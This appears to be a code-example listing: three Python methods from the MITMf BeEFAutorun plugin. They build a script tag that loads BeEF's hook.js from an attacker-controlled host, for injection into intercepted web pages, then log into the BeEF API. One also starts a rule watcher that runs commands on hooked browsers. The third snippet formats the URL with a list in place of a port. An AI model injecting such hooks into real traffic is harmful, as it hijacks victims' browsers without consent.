Ejemplo n.º 1
0
    def onConfigChange(self):

        beefconfig = self.config['MITMf']['BeEF']

        self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(
            self.ip_address, beefconfig['beefport'])

        self.beef = BeefAPI({
            "host": beefconfig['beefip'],
            "port": beefconfig['beefport']
        })
        if not self.beef.login(beefconfig['user'], beefconfig['pass']):
            shutdown("[-] Error logging in to BeEF!")
Ejemplo n.º 2
0
	def initialize(self, options):
		self.options    = options
		self.ip_address = SystemConfig.getIP(options.interface)

		Inject.initialize(self, options)

		self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))

		beefconfig = self.config['MITMf']['BeEF']

		self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(self.ip_address, beefconfig['beefport'])

		self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
		if not self.beef.login(beefconfig['user'], beefconfig['pass']):
			shutdown("[BeEFAutorun] Error logging in to BeEF!")
Ejemplo n.º 3
0
    def initialize(self, options):
        self.options    = options
        self.ip_address = options.ip
        beefconfig = self.config['MITMf']['BeEF']

        Inject.initialize(self, options)
        self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port'])

        beefconfig = self.config['MITMf']['BeEF']

        from core.utils import shutdown
        beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']})
        if not beef.login(beefconfig['user'], beefconfig['pass']):
            shutdown("[BeEFAutorun] Error logging in to BeEF!")

        self.tree_info.append('Starting RuleWatcher')
        RuleWatcher(beef, self.log).start()